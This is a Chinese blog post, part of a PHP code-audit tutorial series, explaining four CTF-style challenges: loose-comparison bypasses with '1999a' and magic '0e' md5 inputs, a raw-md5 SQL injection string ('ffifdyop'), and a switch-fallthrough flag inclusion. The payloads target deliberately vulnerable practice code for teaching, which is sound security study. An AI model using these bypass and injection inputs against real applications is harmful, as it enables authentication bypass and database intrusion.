PHP代码审计分段讲解(9)
22 弱类型整数大小比较绕过
1 2 3 4 5 6 7 8 9 10 11 12 | <?php error_reporting (0); $flag = "flag{test}" ; $temp = $_GET [ 'password' ]; is_numeric ( $temp )? die ( "no numeric" ):NULL; if ( $temp >1336){ echo $flag ; } ?> |
对于传入的password,赋值给temp,使用 is_numeric 函数进行判断,如果是数字的话退出,否则进行后面的判断,因为PHP的弱类型,在数字后面添加空格或者字符进行绕过
1 2 3 4 5 6 7 8 9 | <?php $a = '1' ; $b = '1a' ; $c = '1 ' ; var_dump( is_numeric ( $a )); //true var_dump( is_numeric ( $b )); //false var_dump( is_numeric ( $c )); //false ?> |
在最后的 if 判断中
1 2 3 | if ( $temp >1336){ echo $flag ; } |
因为如 1337a这种类型的字符串,会自动先进行类型转换后再比较,即转换为1337
所以我们可以使用payload:
?password=1999a
绕过限制,获取flag
23 md5函数验证绕过
1 2 3 4 5 6 7 8 9 10 | <?php error_reporting (0); $flag = 'flag{test}' ; $temp = $_GET [ 'password' ]; if (md5( $temp )==0){ echo $flag ; } ?> |
这里需要令password进行md5加密后的值为0即可,又因为是弱类型比较,考虑使用md5后以0e开头的值,在网上找了一些:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 | s878926199a 0e545993274517709034328855841020 s155964671a 0e342768416822451524974117254469 s214587387a 0e848240448830537924465865611904 s214587387a 0e848240448830537924465865611904 s878926199a 0e545993274517709034328855841020 s1091221200a 0e940624217856561557816327384675 s1885207154a 0e509367213418206700842008763514 s1502113478a 0e861580163291561247404381396064 s1885207154a 0e509367213418206700842008763514 s1836677006a 0e481036490867661113260034900752 s155964671a 0e342768416822451524974117254469 s1184209335a 0e072485820392773389523109082030 s1665632922a 0e731198061491163073197128363787 s1502113478a 0e861580163291561247404381396064 s1836677006a 0e481036490867661113260034900752 s1091221200a 0e940624217856561557816327384675 s155964671a 0e342768416822451524974117254469 s1502113478a 0e861580163291561247404381396064 s155964671a 0e342768416822451524974117254469 s1665632922a 0e731198061491163073197128363787 s155964671a 0e342768416822451524974117254469 s1091221200a 0e940624217856561557816327384675 s1836677006a 0e481036490867661113260034900752 s1885207154a 0e509367213418206700842008763514 s532378020a 0e220463095855511507588041205815 s878926199a 0e545993274517709034328855841020 s1091221200a 0e940624217856561557816327384675 s214587387a 0e848240448830537924465865611904 s1502113478a 0e861580163291561247404381396064 s1091221200a 0e940624217856561557816327384675 s1665632922a 0e731198061491163073197128363787 s1885207154a 0e509367213418206700842008763514 s1836677006a 0e481036490867661113260034900752 s1665632922a 0e731198061491163073197128363787 s878926199a 0e545993274517709034328855841020 |
然后选一个就行,这里作者使用s878926199a,获取flag
另一种方式是 password 不赋值,就为NULL,NULL==0
所以payload可为:
也可为:
http://127.0.0.1/php_bugs-master/23.php?password=s878926199a
24 md5函数true绕过注入
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | <?php error_reporting (0); $link = mysql_connect( 'localhost' , 'root' , 'root' ); if (! $link ) { die ( 'Could not connect to MySQL: ' . mysql_error()); } // 选择数据库 $db = mysql_select_db( "security" , $link ); if (! $db ) { echo 'select db error' ; exit (); } // 执行sql $password = $_GET [ 'password' ]; $sql = "SELECT * FROM users WHERE password = '" .md5( $password ,true). "'" ; var_dump( $sql ); $result =mysql_query( $sql ) or die ( '<pre>' . mysql_error() . '</pre>' ); $row1 = mysql_fetch_row( $result ); var_dump( $row1 ); mysql_close( $link ); ?> |
关键代码在:
1 2 | $password = $_GET [ 'password' ]; $sql = "SELECT * FROM users WHERE password = '" .md5( $password ,true). "'" ; |
也就是说我们需要从数据库中查询成功,这一段sql语句
很容易能够想到,构造这种语句
1 | $sql = "SELECT * FROM users WHERE password = '' or '1'='1'" ; |
当然这只是一个例子,不要拘泥于这句话,难点在于如何找到md5后再转换成字符串刚好为 ' or 'xx
这种形式的字符串
前辈们已经找好了,不过肯定还存在其他的语句
ffifdyop
md5后为为:
276f722736c95d99e921722cf9ed621c
hex转换成字符串为
'or'6<trash>
符合我们的要求
25 switch没有break 字符与0比较绕过
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | <?php error_reporting (0); if (isset( $_GET [ 'which' ])) { $which = $_GET [ 'which' ]; switch ( $which ) { case 0: case 1: case 2: require_once $which . '.php' ; echo $flag ; break ; default : echo GWF_HTML::error( 'PHP-0817' , 'Hacker NoNoNo!' , false); break ; } } ?> |
这道题目使用了switch的特性和PHP弱类型比较的特性
首先是switch比较,因为case 0和case 1都没有break,所以当匹配到0或者1 的时候,匹配成功后,不会退出switch,而且还会继续向下进行,直到遇到break为止,在switch中只进行一次匹配,也就是说,如果匹配到了0,那么可以直接进入case 1和case 2,而不需要进行1 和 2 的比较。
这里的题目是需要我们包含flag.php文件,接下来就是如何令传入的which匹配到 0 或者 1 ,同时能包含flag.php
PHP中非数字开头字符串和数字 0
比较==
都返回True
因为通过逻辑运算符让字符串与数字进行比较时,会自动将字符串转换为数字,当转换不了的时候,其结果就为0,什么时候能转换成功?如12abc这种,就会被转换成12,而abc12,就会转换失败,个人认为是开头匹配的原因吧
所以我们只需要直接传入flag即可令其在switch中匹配到 case 0,因为没有break的原因,所以能进入case 2,输出flag
最后的payload为:
参考链接:
https://joychou.org/web/SQL-injection-with-raw-MD5-hashes.html
__EOF__

本文链接:https://www.cnblogs.com/Cl0ud/p/13292677.html
关于博主:评论和私信会在第一时间回复。或者直接私信我。
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
声援博主:如果您觉得文章对您有帮助,可以点击文章右下角【推荐】一下。您的鼓励是博主的最大动力!
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· Linux系列:如何用heaptrack跟踪.NET程序的非托管内存泄露
· 开发者必知的日志记录最佳实践
· SQL Server 2025 AI相关能力初探
· Linux系列:如何用 C#调用 C方法造成内存泄露
· AI与.NET技术实操系列(二):开始使用ML.NET
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 【自荐】一款简洁、开源的在线白板工具 Drawnix
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
· Docker 太简单,K8s 太复杂?w7panel 让容器管理更轻松!